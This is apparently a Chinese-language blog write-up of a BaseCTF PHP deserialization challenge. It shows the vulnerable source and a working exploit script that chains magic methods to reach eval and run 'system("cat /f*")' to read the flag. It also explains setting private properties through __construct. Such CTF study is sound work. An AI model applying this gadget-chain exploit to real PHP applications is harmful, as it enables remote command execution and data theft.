反序列化中私有属性无法访问的解决办法

24 年 8 月 24 日 星期六
234 字
2 分钟

反序列化中私有属性无法访问的解决办法


前情提要

今天做了一下basectf 的反序列化,遇到了一个php语言版本较低,导致无法解析私有属性的访问的题目。


原题

text
<?php
highlight_file(__FILE__);

class Sink
{
    private $cmd = 'echo 123;';
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

if ($_POST['nature']) {
    $nature = unserialize($_POST['nature']);
}

EXP


text
<?php


class Sink
{
    private $cmd = 'system("cat /f*");';

}

class Shark
{
    private $word;
    public function __construct()
    {
        $this->word=new Sink();
    }

}

class Sea
{
    public $animal;

}

class Nature
{
    public $sea;


}

$x=new Sink;
$y=new Shark;
$z=new Sea;
$a=new Nature;

$a->sea=$z;
$z->animal=$y;


echo urlencode(serialize($a));

?>

办法

遇到私有属性的时候可以直接在exp中利用__construct()进行访问

text
class Shark
{
    private $word;
    public function __construct()
    {
        $this->word=new Sink();
    }

}

文章标题:反序列化中私有属性无法访问的解决办法

文章作者:huarui

文章链接:https://54huarui.online/posts/unif[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。